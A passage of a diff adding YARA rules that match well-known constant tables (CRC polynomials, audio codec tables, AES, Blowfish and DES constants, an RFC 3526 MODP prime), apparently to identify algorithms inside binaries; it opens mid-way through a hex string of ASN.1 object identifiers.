f22c6404130992268993f22c6404140992268993f22c6404150992268993f22c6404160992268993f22c6401010992268993f22c6401020992268993f22c6401030992268993f22c6401040992268993f22c6401050992268993f22c6401060992268993f22c6401070992268993f22c6401080992268993f22c6401090992268993f22c64010a0992268993f22c64010b0992268993f22c64010c0992268993f22c64010d0992268993f22c64010e0992268993f22c64010f0992268993f22c6401140992268993f22c6401150992268993f22c6401160992268993f22c6401170992268993f22c6401180992268993f22c64011a0992268993f22c64011b0992268993f22c64011c0992268993f22c64011d0992268993f22c64011e0992268993f22c64011f0992268993f22c6401250992268993f22c6401260992268993f22c6401270992268993f22c6401280992268993f22c6401290992268993f22c64012a0992268993f22c64012b0992268993f22c64012d0992268993f22c64012e0992268993f22c64012f0992268993f22c6401300992268993f22c6401310992268993f22c6401320992268993f22c6401330992268993f22c6401340992268993f22c6401350992268993f22c6401360992268993f22c6401370992268993f22c64013855042d2b060107012b06010701012b06010701022b0601070101012b06010701010255042c550441672a672a00672a01672a03672a05672a07672a08672a0000672a0001672a0002672a0003672a0004672a0005672a0006672a0007672a0008672a0009672a000a672a000b672a000c672a000d672a000e672a0010672a0011672a0012672a0013672a0014672a0015672a0016672a0017672a0018672a0019672a001a672a001b672a001c672a001d672a001e672a001f672a0020672a0021672a0022672a0023672a0024672a0025672a0026672a0027672a0028672a0029672a002a672a002b672a002c672a002d672a002e672a002f672a0030672a0031672a0032672a0033672a0034672a0035672a0036672a0037672a0038672a0039672a003a672a003b672a003c672a003d672a003e672a003f672a0040672a0041672a0042672a0043672a0044672a0045672a0046672a0047672a0048672a0049672a004a672a004b672a004c672a004d672a004e672a004f672a0050672a0051672a0052672a0101672a0103672a0104672a0105672a0107672a0108672a0500672a0700672a0701672a0702672a0703672a0704672a0705672a0706672a0707672a0708672a0709672a070a672a070b672a0300672a0301672a0302672a0303672a030000672a030001672a030201672a030202672a030303672a030304672a030305672a03030301672a03030401672a03030402672a03030501672a03030502672a0801672a081e672a0822672a0823672a0804672a0805672a08ae7b2a864886f70d030a2a864886f70d0101060050672b0601040182371402022b0601040182371402035504095504112b0601050507152b0601050507010e2b060105050715002b06010505071501551d1e2b060105050715022a864886f70d01010b2a864886f70d01010c2a864886f70d01010d2a864886f70d01010e6086480165030402016086480165030402026086480165030402036086480165030402042b2b8104672b672b0d2a8648ce3d0102032a8648ce3d010203012a8648ce3d010203022a8648ce3d010203032a8648ce3d0300012a8648ce3d0300022a8648ce3d0300032a8648ce3d0300042a8648ce3d0300052a8648ce3d0300062a8648ce3d0300072a8648ce3d0300082a8648ce3d0300092a8648ce3d03000a2a8648ce3d03000b2a8648ce3d03000c2a8648ce3d03000d2a8648ce3d03000e2a8648ce3d03000f2a8648ce3d0300102a8648ce3d0300112a8648ce3d0300122a8648ce3d0300132a8648ce3d0300142b810400062b810400072b8104001c2b8104001d2b810400092b810400082b8104001e2b8104001f2b810400202b810400212b8104000a2b810400222b810400232b810400042b810400052b810400162b810400172b810400012b810400022b8104000f2b810400182b810400192b8104001a2b8104001b2b810400032b810400102b810400112b810400242b810400252b810400262b81040027672b0d0401672b0d0403672b0d0404672b0d0405672b0d0406672b0d0407672b0d0408672b0d0409672b0d040a672b0d040b672b0d040c551d2000551d21551d362a83088c9a4b3d010101022a83088c9a4b3d010101032a83088c9a4b3d0101010403a231050301090103a231050301091503a231050301092903a231050301090403a231050301091803a231050301092c03a231050301090303a231050301091703a231050301092b }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huff_ipd__8_byt_14_
+{
+strings:
+	$a0 = { 01E102030405E2E8E606E3E7E5E4 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_8_960__16_big_80_
+{
+strings:
+	$a0 = { 000c001800240030003c004800540060006c007800840090009c00ac00bc00cc00dc00ec00fc010c012001340148015c0174018c01a401c001dc01fc02200244026c029802c802fc0334037003b003c0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x0811__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000110822103318442055286630773888409948aa50bb58cc60dd68ee70ff78108101893291239954a145a976b167b998c189c9bad1abd9dce1cde9fef1eff9310a2002131a0212752a6422573a4632b94aa8429b5a8a52fd6aec62df7ace72218b3083039b129365ab74a347bb56b3a9cbb8c38bdb9ad3edebfce3cffbdef36214731c4004510c2634373c0424152cea54fb5cc844d94cae74bf7c8c649d6c7295639d5085418d36b527bd14a505adfad5ebddd8c5c9cdbef5affd9ce58ded531e4216710e6006173e0636352e2426db5eca56f94ee8469f7e8e76bd6eac66439f5297618f708707bf16b725af34a7cbdfdad7e9cff8c78fff9ef7adefbce7c428d520e638f73080089100a218b3104c685d606e787f70084819402a583b50d4a9c5a1f6b9e7b190898181b299a3915ce94de17ef96ff118c909c13ad92bd1f522e42ad732c63ab102a00a9312821a7d626c6a5f724e7a3942284a1b520a5ae5a3f4abc7b3d6bba183b08b8393929b6de37ceb4ff35efb29c338cb0bd31adba63cb734842c9524e21cf314c00cd1042e7c3f740c6c1d646a5c7b54484c5944b6bda7b594ad85a5f29de395d08dc1853efd2ff51ced0de57add6bd558cd49c59736863eb526a42ed316c21ef106e00e1f760e7e3d662c6e5b564a5e7946684e87b796bfa5a7b4afc397d29fe187f08f0ff71eff2de73cef4bd75adf69c778cf }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_index_table__32_big_64_
+{
+strings:
+	$a0 = { 000000e6000000e6000000e6000000e600000133000001990000020000000266000000e6000000e6000000e6000000e600000133000001990000020000000266 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_480__16_lil_60_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000240028002c0034003c00440050005c00680078008c00a400c000e00000012001400160018001a001c001e001 }
+
+condition:
+	$a0
+}
+
+	
+rule _8192_bit_MODP_Group__from_RFC3526__Section_7___8_byt_1024_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aaac42dad33170d04507a33a85521abdf1cba64ecfb850458dbef0a8aea71575d060c7db3970f85a6e1e4c7abf5ae8cdb0933d71e8c94e04a25619dcee3d2261ad2ee6bf12ffa06d98a0864d87602733ec86a64521f2b18177b200cbbe117577a615d6c770988c0bad946e208e24fa074e5ab3143db5bfce0fd108e4b82d120a92108011a723c12a787e6d788719a10bdba5b2699c327186af4e23c1a946834b6150bda2583e9ca2ad44ce8dbbbc2db04de8ef92e8efc141fbecaa6287c59474e6bc05d99b2964fa090c3a2233ba186515be7ed1f612970cee2d7afb81bdd762170481cd0069127d5b05aa993b4ea988d8fddc186ffb7dc90a6c08f4df435c93402849236c3fab4d27c7026c1d4dcb2602646dec9751e763dba37bdf8ff9406ad9e530ee5db382f413001aeb06a53ed9027d831179727b0865a8918da3edbebcf9b14ed44ce6cbaced4bb1bdb7f1447e6cc254b332051512bd7af426fb8f401378cd2bf5983ca01c64b92ecf032ea15d1721d03f482d7ce6e74fef6d55e702f46980c82b5a84031900b1c9e59e7c97fbec7e8f323a97a7e36cc88be0f1d45b7ff585ac54bd407b22b4154aacc8f6d7ebf48e1d814cc5ed20f8037e0a79715eef29be32806a1d58bb7c5da76f550aa3d8a1fbff0eb19ccb1a313d55cda56c9ec2ef29632387fe8d76e3c0468043e8f663f4860ee12bf2d5b0b7474d6e694f91e6dbe115974a3926f12fee5e438777cb6a932df8cd8bec4d073b931ba3bc832b68d9dd300741fa7bf8afc47ed2576f6936ba424663aab639c5ae4f5683423b4742bf1c978238f16cbe39d652de3fdb8befc848ad922222e04a4037c0713eb57a81a23f0c73473fc646cea306b4bcbc8862f8385ddfa9d4b7fa2c087e879683303ed5bdd3a062b3cf5b3a278a66d2a13f83f44f82ddf310ee074ab6a364597e899a0255dc164f31cc50846851df9ab48195ded7ea1b1d510bd7ee74d73faf36bc31ecfa268359046f4eb879f924009438b481c6cd7889a002ed5ee382bc9190da6fc026e479558e4475677e9aa9e3050e2765694dfc81f56e880b96e7160c980dd98edd3dfffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xcb61b38c__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000afe1d920f9ce2822562ff1025590ca27fa711307ac5ee20503bf3b250d2d0e2ca2ccd70cf4e3260e5b02ff2e58bdc40bf75c1d2ba173ec290e923509bd57873b12b65e1b4499af19eb787639e8c74d1c4726943c1109653ebee8bc1eb07a89171f9b503749b4a135e6557815e5ea43304a0b9a101c246b12b3c5b232dda2951472434c34246cbd368b8d641688325f3327d3861371fc7711de1dae31d08f9b387f6e42182941b31a86a06a3a851f511f2afe883f7cd1793dd330a01d60f5122fcf14cb0f993b3a0d36dae32d3565d8089a840128ccabf02a634a290a6dd81c03c239c523941634213bf7ed013848d62497a90f04c186fe066e672726ba452b2915a4f209438b030bec6ada2befd5e10e4034382e161bc92cb9fa100cb76825051889fc254ea60d27e147d407e2f8ef224d1936021b36c700b4d71e200712ac12a8f37532fedc8430513d5d1052826635fd63bf15ab4c4e1704ad97370a3fa23ea5de7b1ef3f18a1c5c10533c5faf6819f04eb139a661403b0980991b67e7be3dc806671d9e29961f31c84f3f3277741a9d96ad3acbb95c38645885186acab011c52b6931930498333ce541133f5a7a3690bba316c694521469758b34dab039067551e026237e11248c9fc8048f20f32120c12a0176eedb03d90f0223d79d372a787cee0a2e531f0881b2c628820dfd0d2dec242d7bc3d52fd4220c0fd386cd317c6714112a48e51385a93c338616071629f7de367fd82f34d039f614deabc31d714a1a3d2765eb3f8884321f8b3b093a24dad01a72f52118dd14f8386ed14a0ac130932a971f622838febb083b41802d94a0590dc28fa80f6d6e712f63fc4426cc1d9d069a326c0435d3b524366c8e01998d5721cfa2a62360437f030e245825a1c58105f7ea7007580ba9275bb49202f4554b22a27aba200d9b630003095609ace88f29fac77e2b5526a70b56999c2ef978450eaf57b40c00b66d2cb373df1e1c92063e4abdf73ce55c2e1ce6e315394902cc191f2d3d1bb0cce43bbe5ed13211bf08124790f910e8712030ebce1b15442fc23512003337bde1ea1769c3e618c6223f38900dce3a3fec171a3c532c3f93b2f51fc59d041d6a7cdd3d64eee834cb0f31149d20c01632c11936317e22139e9ffb33c8b00a316751d311d49461237b75b8032d5a490182bb90218104ab042ee5722478ca8326d72b5a06d9b96f0f7658b62f2077472d8f969e0d8c29a52823c87c0875e78d0ada06542ab461730c1b80aa2c4daf5b2ee24e820ee1f1b92b4e10600b183f9109b7de4829b94c7d2016ada40040825502ef638c22ecdcb707433d6e2715129f25baf346050936f437a6d72d17f0f8dc155f1905355ca63e10f347e730a56816320a89cf12041bfa1babfa233bfdd5d23952340b19518b303cfe6ae91ca845181e07a4c13e }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_shzscale_and_shpscale__flt32___32_lil_88_
+{
+strings:
+	$a0 = { 0000803f0068263f0050d83e00988c3e00d0363e00a0ed3d00809a3d00c0483d0080023d0080a93c00005d3c0000803f0000403f0000103f0000d83e0000a23e0000733e0040363e00b0083e0000cd3d00c0993d00c0663d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x1EDC6F41__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000001edc6f413db8de822364b1c37b71bd0465add24546c9638658150cc7f6e37a08e83f1549cb5ba48ad587cbcb8d92c70c934ea84db02a198eaef676cff31a9b51edc6f410cea245d3d07e2a92886b265596b74914b5d3f8d7ab0f979605f9e1591b258e1838413fdb269d509a7e885c5d6054331c433082df5deced9ef8e959e3e63536a2c5518761db8de8208398e4e79d448ba6be203a65a0fc55240e0a23eb10d64caa33b2fd692d6e9228757b9eef6ba7f1ae48c3406d561f2f2c0bf3c2b2152fadf3364b1c302897737170827fb66e5e10f74d3aa13453e6ce75fd10b8bae3ccd7fbc0a86638de740979866105be98bd6affbbd9db3ca505b47def0edc87f1d2b3c6d2b60205cc6a6d44947f61838aa30ec2a9c7bf01b71bd04019eda68f0731c9ce2455780d3a89174c629c1b8b7c4074ca5f24c50941f8aa481c1447d602c8289721ac99543f70f6156765fad279b995935add245044014b11eaf73ddef42b529fd74fe35cc9938c1d918680da8f5aef9bac3e5e58b2e2311917e78564093bea252a5f5be6348334a76c963860724a5721512ee6e24ff289a3e104ff6cffd8902ddcbc21eec2604eaf9a75426884a92d29a7cd9ceab911f3abe4fd1e35fa217174d945c0b7c799aff69f8ca3318150cc70a2347db3bce812f2121e643d0cc20b7c2fa6babf317ad5fe696fd93977b3b67854d707bb4a0b68fac0c1d64fde1db90efd7908cde3a5678cbbb06b4ba56c040a8608b5c998d4da883622ac4728fec3060b9a72c515461d844d531143538f7e0270ebcfc16e37a08033db4d1e2d07225f0e63939c10bffcdd48aaf01a56769f5b75122e986bce41d9c5383716dbe45857f880e994e65c86d5be498a12a095e55383f154909d2d3bd138288fac26f4e0ed0590512e1b4c3e6f435932a85d855de97ee1ec2a603d836bcecbf5a4d0179ae5f3732b26edaf4467b5ba48a0ab6627e18802962296def963cb3214fdd5ee7bbcf68aca7fe856a53eb043a9f9ae9fc6b88dfb777b9327183a3dd16ef5230d01b40069b0771eb5df3646a0d3f1587cbcb07b180d7365c462322fcf0ac8311365891277d44a0cabbb0b54beb7cc4a62d88d6906694e77da060fd92c70c0c7f01f81e494ae42fa48c103a25dcdc4bc81a2859fe5134681397c07dcd59199c209fed8e16d4f1bffb1205aa7a42c9db97843dc9a1cf21f84c09d5e2a36eb9134ea84d0178e351309525a52514756954f9b39d46cff88177223e756d726532bc9fa3c6aea9e8da9f442e2e8ac57ee2fb28b816e91ef30ad8f335fec21c529233f1946621c7df7a102a198e05ab494274468fb66670c4aa579d025e4243cc87a3ae0a73b198416f8075879b95f4d757e41911a3f62f5abfc7c29c4bdd2dfb272cc03dd33ef676cf0f1bb03b1a9ae0f76b77260379416d1f48acabeb5 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__fitab__16_lil_32_
+{
+strings:
+	$a0 = { 0000000000000002000200020006000e000e0006000200020002000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xf00f9344__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000019183024323060482b28506c21f3208f38eb10ab13c340c70adb70e30675a1011f6d91253445c1492d5df16d2786818e3e9eb1aa15b6e1c60caed1e20ceb420215f372263edb224a27c3126e2d18628d340052a91f2802c5063032e10a9ee3031386d32738ae834b21b6b36f2b6dc38c3275f3a8195da3c4004593e019d6840400ceb4202be6e44c32fed4683825a48b213d94af0a15c4c3130df4e71fa3250506bb15212d93454d348b75693e50058a274835ae0c6065c2157855e6153dc6060c25f622270da64e3e15966a34cee6892dd6d6ad06fe86c11fe6b6e5134867070a5057232178074f3860376b32bb47882ba377ac008b27c0199317e433ad08082ab5382c019d684018855864125e28870b4618a3206e48cf397678eb35d8a9092cc0992d07e8c9411ef0f965142b89860d33b9a2261be9ce3f03d9ea3f464a0a265e7a2e0d762a42146e1a661eb56a8507ad5aa12c850acd359d3ae93933eb0b202bdb2f0b038b43121bbb6718c0cb8401d8fba02af0abcc33e89be82a7b8c0c3363bc28184bec440153dc600b88ac8312909ca739b8cccb20a0fcef2c0e2d0d35161d291e3e4d4507267d610dfd0d8214e53da63fcd6dca26d55dee2690ce0e3f88fe2a14a0ae460db89e620763ee811e7bdea535538ec92c4bbeed20e56f0f39fd5f2b12d50f470bcd3f6301164f80180e7fa433262fc82a3e1fec22c9f00f3bd1c02b10f9904709e1a063033ad0801a22e0a4310ab0c8281280ec24bc510e3da4612a168c31460f940162054f71811c5741a5377f11c92e6721ed2e22b20d373a82291c12d245050ae2610fd1928216c9a2a63de1f2ca24f9c2ee2857130c314f23281a677344037f436009a4338310bc03a73b9453cb228c63ef3b1f740b2207442f092f1443103724671aec548403f464a028dc34cc31c404e83d6ad50a2472e52e0f5ab542164285661c99f5850581c5a12ea995cd37b1a5e937f436092eec062d05c456411cdc6665160716860f1f26a2243776ce3d2f46ea318197082899a72c03b1f7401aa9c7641072b787096a87a32242d7cf3b5ae7eb1164f807087cc8232354984f3a4ca86b3097d888298fe8ac02a7b8c01bbf88e4171159060e0969222521394e3c39096a36e279892ffa49ad04d219c11dca29e51d8fba0504978a212fbfda4d36a7ea693c7c9a8a2564aaae0e4cfac21754cae61bfa1b0402e22b2029ca7b4c30d24b683a093b8b23110baf08395bc311216be708b27c0311aa4c273a821c4b239a2c6f29415c8c30596ca81b713cc402690ce00ec7dd0217dfed263cf7bd4a25ef8d6e2f34fd8d362ccda91d049dc5041cade104593e011d410e2536695e492f716e6d25aa1e8e3cb22eaa179a7ec60e824ee2022c9f001b34af24301cff482904cf6c23dfbf8f3ac78fab11efdfc708f7efe3 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te2__0x63a5c663U___32_big_1024_
+{
+strings:
+	$a0 = { 63a5c6637c84f87c7799ee777b8df67bf20dfff26bbdd66b6fb1de6fc55491c5305060300103020167a9ce672b7d562bfe19e7fed762b5d7abe64dab769aec76ca458fca829d1f82c94089c97d87fa7dfa15effa59ebb25947c98e47f00bfbf0adec41add467b3d4a2fd5fa2afea45af9cbf239ca4f753a47296e472c05b9bc0b7c275b7fd1ce1fd93ae3d93266a4c26365a6c363f417e3ff702f5f7cc4f83cc345c6834a5f451a5e534d1e5f108f9f17193e271d873abd831536231153f2a15040c0804c75295c723654623c35e9dc31828301896a13796050f0a059ab52f9a07090e0712362412809b1b80e23ddfe2eb26cdeb27694e27b2cd7fb2759fea75091b1209839e1d832c74582c1a2e341a1b2d361b6eb2dc6e5aeeb45aa0fb5ba052f6a4523b4d763bd661b7d6b3ce7db3297b5229e33edde32f715e2f8497138453f5a653d168b9d100000000ed2cc1ed20604020fc1fe3fcb1c879b15bedb65b6abed46acb468dcbbed967be394b72394ade944a4cd4984c58e8b058cf4a85cfd06bbbd0ef2ac5efaae54faafb16edfb43c586434dd79a4d335566338594118545cf8a45f910e9f9020604027f81fe7f50f0a0503c44783c9fba259fa8e34ba851f3a251a3fe5da340c080408f8a058f92ad3f929dbc219d38487038f504f1f5bcdf63bcb6c177b6da75afda2163422110302010ff1ae5fff30efdf3d26dbfd2cd4c81cd0c14180c13352613ec2fc3ec5fe1be5f97a2359744cc884417392e17c45793c4a7f255a77e82fc7e3d477a3d64acc8645de7ba5d192b32197395e67360a0c060819819814fd19e4fdc7fa3dc226644222a7e542a90ab3b9088830b8846ca8c46ee29c7eeb8d36bb8143c2814de79a7de5ee2bc5e0b1d160bdb76addbe03bdbe0325664323a4e743a0a1e140a49db9249060a0c06246c48245ce4b85cc25d9fc2d36ebdd3acef43ac62a6c46291a8399195a43195e437d3e4798bf279e732d5e7c8438bc837596e376db7da6d8d8c018dd564b1d54ed29c4ea9e049a96cb4d86c56faac56f407f3f4ea25cfea65afca657a8ef47aaee947ae08181008bad56fba7888f078256f4a252e725c2e1c24381ca6f157a6b4c773b4c65197c6e823cbe8dd7ca1dd749ce8741f213e1f4bdd964bbddc61bd8b860d8b8a850f8a7090e0703e427c3eb5c471b566aacc6648d8904803050603f601f7f60e121c0e61a3c261355f6a3557f9ae57b9d069b986911786c15899c11d273a1d9eb9279ee138d9e1f813ebf898b32b981133221169bbd269d970a9d98e89078e94a733949bb62d9b1e223c1e87921587e920c9e9ce4987ce55ffaa5528785028df7aa5df8c8f038ca1f859a1898009890d171a0dbfda65bfe631d7e642c6844268b8d06841c3824199b029992d775a2d0f111e0fb0cb7bb054fca854bbd66dbb163a2c16 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_A__16_lil_16_
+{
+strings:
+	$a0 = { 00500050005000508c36003c56214c23 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_log2_G729_BITEXACT__16_big_66_
+{
+strings:
+	$a0 = { 000005af0b32108c15c01acf1fbc248829352dc43237368f3ace3ef5430446fc4adf4eae5269561159a75d2c609f640367576a9b6dd170fa741477217a227d177fff }
+
+condition:
+	$a0
+}
+
+	
+rule MMX_codes__32_lil_124_
+{
+strings:
+	$a0 = { 8527003f8b66013f5bf4033f68f2073f38980d3f3a3b153f6e5c1f3f3dc02c3fee993e3f9edf563f3bfa783f35b0953f1bf9bd3fafb2034042165a40460a23418d9e003f78c2053f3f23113f1d96253f80c4493f49c4873f2679dc3f9c3ca340f781023fbdf1193fd764663fcf062440d48b0a3f753da73ff304353f }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks3_table__32_lil_1024_
+{
+strings:
+	$a0 = { 37ce393acff5fad33777c2ab1b2dc55a9e67b05c4237a34f402782d3be9bbc999d8e11d515730fbf7e1c2dd67bc400c76b1b8cb74590a121beb16eb2b46e366a2fab4857796e94bcd276a3c6c8c24965eef80f537dde8d461d0a73d5c64dd04cdbbb39295046baa9e82695ac04e35ebef0d5faa19a512d6ae28cef6322ee869ab8c289c0f62e2443aa031ea5a4d0f29cba61c0834d6ae99b5015e58fd65b64baf9a22628e13a3aa78695a94be96255efd3ef2fc7daf752f7696f043f590afa7715a9e4800186b087ade6099b93e53e3b5afd90e997d7349ed9b7f02c518b2b023aacd5967da67d01d63ecfd1282d7d7ccf259f1f9bb8f2ad72b4d65a4cf5885a71ac29e0e6a519e0fdacb0479bfa93ed8dc4d3e8cc573b282966d5f8282e137991015f78556075ed440e96f78c5ed3e3d46d0515ba6df4882561a103bdf06405159eebc3a257903cec1a27972a073aa99b6d3f1bf521631efb669cf519f3dc2628d93375f5fd55b182345603bb3cba8a11775128f8d90ac26751ccab5f92adcc5117e84d8edc303862589d3791f92093c2907aeace7b3efb64ce215132be4f777ee3b6a8463d29c36953de4880e613641008aea224b26dddfd2d8569662107090a469ab3ddc04564cfde6c58aec8201cddf7be5b408d581b7f01d2ccbbe3b46b7e6aa2dd45ff593a440a353ed5cdb4bca8ceea72bb8464faae12668d476f3cbf63e49bd29e5d2f541b77c2ae70634ef68d0d0e7457135be7711672f85d7d53af08cb4040cce2b44e6a46d23484af15012804b0e11d3a9895b49fb80648a06ece823b3f6f82ab20354b1d1a01f8277227b1601561dc3f93e72b793abbbd254534e13988a04b79ce51b7c9322fc9ba1fa07ec81ce0f6d1c7bcc31101cfc7aae8a14987901a9abd4fd4cbdedad038da0ad52ac33903673691c67c31f98d4f2bb1e0b7599ef73abbf543ff19d5f29c45d9272c2297bf2afce61571fc910f2515949b6193e5faeb9cb6ce5964a8c2d1a8ba125e07c1b60c6a05e36550d21042a403cb0e6eece03bdb9816bea0984c64e9783232951f9fdf92d3e02b34a0d31ef2718941740a1b8c34a34b2071bec5d83276c38d9f35df2e2f999b476f0be61df1e30f54da4ce591d8da1ecf7962ce6f7e3ecd66b11816051d2cfdc5d28f849922fbf657f323f5237632a63135a89302cdcc566281f0acb5eb755a9736166ecc73d288926296ded049b9811b90504c1456c671bdc7c6e60a147a3206d0e1459a7bf2c3fd53aac9000fa862e2bf25bbf6d2bd3505691271220204b27ccfcbb62b9c76cdc03e1153d3e3401660bdab38f0ad47259c2038ba76ce46f7c5a1af77606075204efecb85d88de88ab0f9aa7a7eaaf94c5cc248198c8afb02e46ac301f9e1ebd669f8d490a0de5ca62d25093f9fe608c232614eb75be277cee3df8f57e672c33a }
+
+condition:
+	$a0
+}
+
+	
+rule DES_permuted_choice_table__key___8_byt_56_
+{
+strings:
+	$a0 = { 39312921191109013a322a221a120a023b332b231b130b033c342c243f372f271f170f073e362e261e160e063d352d251d150d051c140c04 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_16_960__16_big_84_
+{
+strings:
+	$a0 = { 0008001000180020002800300038004000480050005800640070007c0088009400a000ac00b800c400d400e400f401040118012c014001580170018c01a801c801ec0214023c0268029802cc03040340038003c0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle625__16_lil_216_
+{
+strings:
+	$a0 = { 0000240048001a003e00620010003400580006002a004e0020004400680016003a005e000c0030005400020026004a001c0040006400120036005a0008002c005000220046006a0018003c0060000e0032005600040028004c001e0042006600140038005c000a002e0052000100250049001b003f00630011003500590007002b004f0021004500690017003b005f000d0031005500030027004b001d0041006500130037005b0009002d005100230047006b0019003d0061000f0033005700050029004d001f0043006700150039005d000b002f005300 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_hi0xE382__16_big_512_
+{
+strings:
+	$a0 = { 00005788af10f8980ef7597fa1e7f66f1dee4a66b2fee57613194491bc09eb813bdc6c5494ccc344352b62a39a3bcdb3263271ba8922deaa28c57f4d87d5d05d77b82030d8a88f20794f2ec7d65f81d76a563ddec54692ce64a13329cbb19c394c641bece374b4fc4293151bed83ba0b518a0602fe9aa9125f7d08f5f06da7e5ef70b8f8406017e8e187b60f4e97191ff29ea5165d8e0a06fc69abe1537904f1d4ac83247bbc2c34da5b8dd3754b22c3c9429eca665231dac7b5903d68a53f2d98c8cf4037d86050963fc1b7392f6ea78526d2ae2a367dbe8bd1dc5924c17349a314f49c0c045b8cade3fa6b02f3557bbefae97211ea4662b00de7851f1d48958e37d9bf212776af80c0d7482fd0785893d9c4513cc96b419d2ecaa6323e65b6b5ebe2631afb4d73bb1cec94140c4384a805ff8d0715509da6f2f17a09e25e6af98fae07569f0117f778a0f058680fe0e461b3e94b711cf9ea96bd1e4586120ec25395db6d433acbcca49b2c63b4343cdfbd883570ad2725d14a86c27e5a29d2614736cfce5799df6fb03838c0a097287ca92b21d3b98431725e25d6dd4e8ac65a9b0d13f58ba203546c03e4fb7cacf4477510fde865bfed49821e0ae692b11a16ff4177b9efee6718084f80b718e0900b115c99a401f38905e6526eaaf6fd7e2d237aab8233d5bb23d4745c8cc4db4c30cd67459fddc8553e3a69b2912ac6a2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_422_525__16_big_5400_
+{
+strings:
+	$a0 = { 0c482424306c000018900d482524316c010019900e482624326c02001a900e4c2628327002041a940d4c25283170010419940c4c24283070000418940c50242c3074000818980d50252c3174010819980e50262c327402081a980e5426303278020c1a9c0d5425303178010c199c0c5424303078000c189c0c582434307c001018a00d582534317c011019a00e582634327c02101aa00e5c2638328002141aa40d5c25383180011419a40c5c24383080001418a40c60243c3084001818a80d60253c3184011819a80e60263c328402181aa80e6426403288021c1aac0d6425403188011c19ac0c6424403088001c18ac0c682444308c002018b00d682544318c012019b00e682644328c02201ab012482a24366c06001e9013482b24376c07001f9014482c24386c08002090144c2c28387008042094134c2b28377007041f94124c2a28367006041e9412502a2c367406081e9813502b2c377407081f9814502c2c38740808209814542c303878080c209c13542b303778070c1f9c12542a303678060c1e9c12582a34367c06101ea013582b34377c07101fa014582c34387c081020a0145c2c383880081420a4135c2b38378007141fa4125c2a38368006141ea412602a3c368406181ea813602b3c378407181fa814602c3c3884081820a814642c403888081c20ac13642b403788071c1fac12642a403688061c1eac12682a44368c06201eb013682b44378c07201fb014682c44388c082020b018483024006c0c00249019483124016c0d0025901a483224026c0e0026901a4c322802700e042694194c312801700d042594184c302800700c0424941850302c00740c0824981950312c01740d0825981a50322c02740e0826981a54323002780e0c269c1954313001780d0c259c1854303000780c0c249c18583034007c0c1024a019583134017c0d1025a01a583234027c0e1026a01a5c323802800e1426a4195c313801800d1425a4185c303800800c1424a41860303c00840c1824a81960313c01840d1825a81a60323c02840e1826a81a64324002880e1c26ac1964314001880d1c25ac1864304000880c1c24ac18683044008c0c2024b019683144018c0d2025b01a683244028c0e2026b01e483624066c12002a901f483724076c13002b9020483824086c14002c90204c3828087014042c941f4c3728077013042b941e4c3628067012042a941e50362c067412082a981f50372c077413082b982050382c087414082c98205438300878140c2c9c1f5437300778130c2b9c1e5436300678120c2a9c1e583634067c12102aa01f583734077c13102ba020583834087c14102ca0205c3838088014142ca41f5c3738078013142ba41e5c3638068012142aa41e60363c068412182aa81f60373c078413182ba82060383c088414182ca8206438400888141c2cac1f6437400788131c2bac1e6436400688121c2aac1e683644068c12202ab01f683744078c13202bb020683844088c14202cb0244800240c6c18003090254801240d6c19003190264802240e6c1a003290264c02280e701a043294254c01280d7019043194244c00280c70180430942450002c0c74180830982550012c0d74190831982650022c0e741a083298265402300e781a0c329c255401300d78190c319c245400300c78180c309c245800340c7c181030a0255801340d7c191031a0265802340e7c1a1032a0265c02380e801a1432a4255c01380d80191431a4245c00380c80181430a42460003c0c84181830a82560013c0d84191831a82660023c0e841a1832a8266402400e881a1c32ac256401400d88191c31ac246400400c88181c30ac246800440c8c182030b0256801440d8c192031b0266802440e8c1a2032b02a480624126c1e0036902b480724136c1f0037902c480824146c200038902c4c08281470200438942b4c072813701f0437942a4c062812701e0436942a50062c12741e0836982b50072c13741f0837982c50082c1474200838982c5408301478200c389c2b54073013781f0c379c2a54063012781e0c369c2a580634127c1e1036a02b580734137c1f1037a02c580834147c201038a02c5c08381480201438a42b5c073813801f1437a42a5c063812801e1436a42a60063c12841e1836a82b60073c13841f1837a82c60083c1484201838a82c6408401488201c38ac2b64074013881f1c37ac2a64064012881e1c36ac2a680644128c1e2036b02b680744138c1f2037b02c680844148c202038b030480c24186c2400009031480d24196c2500019032480e241a6c26000290324c0e281a7026040294314c0d28197025040194304c0c2818702404009430500c2c18742408009831500d2c19742508019832500e2c1a742608029832540e301a78260c029c31540d301978250c019c30540c301878240c009c30580c34187c241000a031580d34197c251001a032580e341a7c261002a0325c0e381a80